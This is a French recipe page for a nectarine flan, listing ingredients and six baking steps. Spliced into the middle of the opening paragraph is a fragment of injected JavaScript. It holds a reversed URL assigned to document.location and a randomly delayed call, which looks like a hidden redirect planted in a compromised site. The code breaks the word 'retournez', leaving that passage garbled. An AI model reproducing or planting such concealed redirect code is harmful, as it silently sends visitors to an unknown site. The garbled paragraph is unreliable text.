Flan aux nectarines
2016-12-19- Cuisine : Flans
- Thématique : Végétarien
- Niveau : Intermédiaire
Rincez les nectarines sous le robinet d’eau froide. Les sécher et les couper en deux. Ôtez les pépins. Les détailler en quartiers. Répartissez les dans un moule à manqué légèrement beurré et fariné, retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournez le moule pour enlever l’excédent de farine.
Ingrédients
- Pour 6 personnes
- 120 g de sucre en poudre
- 2 sachets de sucre vanillé
- 60 g de farine
- 1 pincée de sel fin
- 4 œufs entiers
- 20 cl de lait entier
- 20 cl de crème fraiche épaisse
- 60 g de maïzena
- 20 g de beurre
- 6 nectarines
Préparation de la recette
Etape 1
Rincez les nectarines sous le robinet d'eau froide. Les sécher et les couper en deux. Ôtez les pépins. Les détailler en quartiers.
Etape 2
Répartissez les dans un moule à manqué légèrement beurré et fariné, retournez le moule pour enlever l'excédent de farine.
Etape 3
Dans un récipient mélangez la farine, la maïzena, le sel fin. Creusez un puits.
Etape 4
Dans un autre saladier casser les œufs, fouettez énergiquement jusqu'à obtenir une couleur blanchâtre et obtenir un mélange mousseux.
Etape 5
Incorporez la farine/ maïzena/ sel /. Versez le lait par petites quantités et obtenir une pâte fluide. Incorporez la crème fraiche. Mélangez. Puis versez sur les nectarines.
Etape 6
Saupoudrez de sucre vanille. Préchauffez le four à 180° C thermostat 6. Enfournez le flan et faites cuire pendant 35 minutes. La crème doit être prise et encore tremblotante. Laissez refroidir et dégustez.
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